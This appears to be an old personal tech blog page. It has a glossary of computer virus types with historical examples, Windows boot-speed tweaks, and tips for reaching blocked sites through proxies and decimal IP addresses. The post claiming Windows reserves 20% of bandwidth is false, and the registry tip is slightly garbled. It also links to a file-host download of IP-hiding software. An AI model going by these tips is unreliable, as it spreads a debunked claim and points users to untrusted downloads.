Some examples of boot viruses include: Polyboot.B, AntiEXE.



Macro Virus

Macro viruses infect files that are created using certain applications or programs that contain macros. These include Word documents (DOC extensions), Excel spreadsheets (XLS extensions), PowerPoint presentations (PPS extensions), Access databases (MDB extensions), Corel Draw etc.

A macro is a small program that a user can associate to a file created using certain applications. These mini-programs make it possible to automate series of operations so that they are performed as a single action, thereby saving the user from having to carry them out one by one.

When a document containing macros is opened, they will automatically be loaded and may be executed immediately or when the user decides to do so. The virus will then take effect by carrying out the actions it has been programmed to do, often regardless of the program's built-in macro virus protection.

There is not just one type of macro virus, but one for each tool: Microsoft Word, Microsoft Excel, Microsoft PowerPoint, Microsoft Access, Corel Draw, Lotus Ami Pro, etc.

Some examples of macro viruses: Relax, Melissa.A, Bablas, O97M/Y2K.



Directory Virus

An operating system finds files by looking up the path (composed of the disk drive and directory) in which each file is stored.

Directory viruses change the paths that indicate the location of a file. By executing a program (file with the extension .EXE or .COM) which has been infected by a virus, you are unknowingly running the virus program, while the original file and program have been previously moved by the virus.

Once infected it becomes impossible to locate the original files.



Encrypted

Encryption is a technique used by viruses so that they cannot be detected by antivirus programs.

The virus encodes or encrypts itself so as to be hidden from scans, before performing its task it will decrypt itself. Once it has unleashed its payload the virus will then go back into hiding.

Examples of encrypted viruses include: Elvira, Trile.



Polymorphic Virus

Polymorphic viruses encrypt or encode themselves in a different way (using different algorithms and encryption keys) every time they infect a system.

This makes it impossible for antiviruses to find them using string or signature searches (because they are different in each encryption) and also enables them to create a large number of copies of themselves.

Some examples include: Elkern, Marburg, Satan Bug, Tuareg.



Multipartite Virus

These advanced viruses can create multiple infections using several techniques. Their objective is to attack any elements that can be infected: files, programs, macros, disks, etc.

They are considered fairly dangerous due to their capacity to combine different infection techniques.

Some examples include: Ywinz.




File Infectors

This type of virus infects programs or executable files (files with an .EXE or .COM extension). When one of these programs is run, directly or indirectly, the virus is activated, producing the damaging effects it is programmed to carry out. The majority of existing viruses belong to this category, and can be classified depending on the actions that they carry out.



Companion Viruses

Companion viruses can be considered file infector viruses like resident or direct action types. They are known as companion viruses because once they get into the system they "accompany" the other files that already exist. In other words, in order to carry out their infection routines, companion viruses can wait in memory until a program is run (resident viruses) or act immediately by making copies of themselves (direct action viruses).

Some examples include: Stator, Asimov.1539, Terrax.1069



FAT Virus

The file allocation table or FAT is the part of a disk used to connect information and is a vital part of the normal functioning of the computer.

This type of virus attack can be especially dangerous, by preventing access to certain sections of the disk where important files are stored. Damage caused can result in information losses from individual files or even entire directories.



Worms

A worm is a program very similar to a virus; it has the ability to self-replicate, and can lead to negative effects on your system and most importantly they are detected and eliminated by antiviruses. However, worms are not strictly viruses, as they do not need to infect other files in order to reproduce.

Worms can exist without damaging files, and can reproduce at rapid speeds, saturating networks and causing them to collapse.

Worms almost always spread through e-mail, networks and chat (such as IRC or ICQ). They can also spread within the memory of a computer.

Some examples of worms include: PSWBugbear.B, Lovgate.F, Trile.C, Sobig.D, Mapson.



Trojans or Trojan Horses

Another unsavory breed of malicious code are Trojans or Trojan horses, which unlike viruses do not reproduce by infecting other files, nor do they self-replicate like worms.

Trojans work in a similar way to their mythological namesake, the famous wooden horse that hid Greek soldiers so that they could enter the city of Troy undetected.

They appear to be harmless programs that enter a computer through any channel. When that program is executed (they have names or characteristics which trick the user into doing so), they install other programs on the computer that can be harmful.

A Trojan may not activate its effects at first, but when they do, they can wreak havoc on your system. They have the capacity to delete files, destroy information on your hard drive and open up a backdoor to your system. This gives them complete access to your system allowing an outside user to copy and resend confidential information.

Some examples of Trojans are: IRC.Sx2, Trifor.




Logic Bombs

They are not considered viruses because they do not replicate. They are not even programs in their own right but rather camouflaged segments of other programs.

Their objective is to destroy data on the computer once certain conditions have been met. Logic bombs go undetected until launched, and the results can be destructive.



False Viruses

These messages are often confused for viruses but are something else entirely. It is important to know the difference between a real virus threat and a false virus.

Hoaxes are not viruses, they are false messages sent by e-mail, warning users of a non-existent virus. The intention is to spread rumors causing panic and alarm among users who receive this kind of information.

Occasionally, hoax warnings include technical terms to mislead users. On some other occasions, the names of some press agencies are mentioned in the heading of the warnings. In this way, the hoax author attempts to trick users into believing that they have received a warning about a real virus. Hoaxes try to fool the user into performing a series of actions to protect themselves from the virus, sometimes leading to negative results.

Users are advised not to pay attention to these misleading warnings and delete these messages once received without sending them to others.

Labels:




Computers Blogs - Blog Top Sites Computers Blogs - Blog FlareMy Blog DirectoryPage copy protected against web site content infringement by Copyscape



BookMark me:||del.icio.us || Digg it || Furl || Google || Spurl || Yahoo MyWeb
 
posted by VaTsAl at 8:28 pm | Permalink 0 comments

Boot your Computer Faster

Many computers take a lot of time to boot (or start ).This is due to many reasons.

Some slight changes can do wonders for your system:

1.
Press start->run then type msconfig and press enter.

Go to the startup tab.Here you will see a list of startup items.These are all the programs that automatically start when you boot your PC.It is these that slow down the boot up process.

So uncheck all the unwanted items(like msoffice,messengers other utilities that u may not need at startup).Dont uncheck your antivirus software.

Restart your Pc to and see for yourself, your pc will now boot faster....

2.
A great new feature in Microsoft Windows XP is the ability to do a boot defragment. This places all boot files next to each other on the disk to allow for faster booting. By default this option is enabled,but on some systems it is not, so below is the information on how to turn it on:

Go to Start Menu and Click Run
Type in regedit then click ok
Find "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOpt imizeFunction"
Select "Enable" from the list on the right
Right on it and select "Modify"
Change the value to "Y to enable"
Reboot your Pc and see the change yourself.

Labels:




Computers Blogs - Blog Top Sites Computers Blogs - Blog FlareMy Blog DirectoryPage copy protected against web site content infringement by Copyscape



BookMark me:||del.icio.us || Digg it || Furl || Google || Spurl || Yahoo MyWeb
 
posted by VaTsAl at 7:27 pm | Permalink 0 comments
Speed up your internet by 20%

Microsoft reserves 20% of your available bandwidth for their own purposes like Windows Updates and interrogating your PC etc ..

You can get it back:

Click Start then Run and type "gpedit.msc" without quotes.This opens the group policy editor. Then go to:
Local Computer Policy
then Computer Configuration
then Administrative Templates then Network then QOS Packet Scheduler and then to Limit Reservable Bandwidth.

Double click on Limit Reservable bandwidth. It will say it is not configured, but the truth is under the 'Explain' tab i.e."By default, the Packet Scheduler limits the system to 20 percent of the bandwidth of a connection, but you can use this setting to override the default."
So the trick is to ENABLE reservable bandwidth, then set it to ZERO. This will allow the system to reserve nothing, rather than the default 20%.It works on Win 2000 as well.

Labels:




Computers Blogs - Blog Top Sites Computers Blogs - Blog FlareMy Blog DirectoryPage copy protected against web site content infringement by Copyscape



BookMark me:||del.icio.us || Digg it || Furl || Google || Spurl || Yahoo MyWeb
 
posted by VaTsAl at 7:26 pm | Permalink 0 comments
Access blocked websites !!

Websites which have been blocked in many countries can be accessed.Here are some tricks that might help :

1.Proxy server :Use a proxy server to access restricted sites.A proxy server (or proxies) is a normal computer that hides the identity of computers on its network from the Internet. Which means that only the address of the proxy server is visible to the world and not of those computers that are using it to browse the Internet. Just visit the proxy server website with your Web browser and enter a URL (website address) in the form provided.
List of Proxy servers
Just click on this link and it will take you to a page having a long list of proxies.You can either choose one yourself or let the service choose a random proxy for you.You can now visit any site with these proxy servers.
Also bookmark the
DMOZ directory of free web-based proxy services and DMOZ directory of free proxy servers .

2.Use softwares for getting proxies:There are several softwares available for using proxies.Just search on google to get an endless list.
One of them is Hide ip platinum.Get it at
http://rapidshare.de/files/35879852/HideIPPlatinum_3.2.rar.html

3.Convert ip to decimal:The third trick may work at some places and wont at others.This is a lesser known trick i came across recently.Suppose you want to access www.orkut.com.

Go to start->run type cmd.
Now type ping www.orkut.com (space between ping and www)
You will get an ip address for www.orkut.com,note it down.
Now go to
http://www.allredroster.com/iptodec.htm
Enter the ip in the enter ip address field and press calculate.You will get an address in Decimal field.This is it.Copy this address and type it in your browser,if lucky www.orkut.com or any other blocked site for which you do this should open.

For example,for orkut you get the decimal address as http://1208930645

Labels:




Computers Blogs - Blog Top Sites Computers Blogs - Blog FlareMy Blog DirectoryPage copy protected against web site content infringement by Copyscape



BookMark me:||del.icio.us || Digg it || Furl || Google || Spurl || Yahoo MyWeb
 
posted by VaTsAl at 7:18 pm | Permalink 0 comments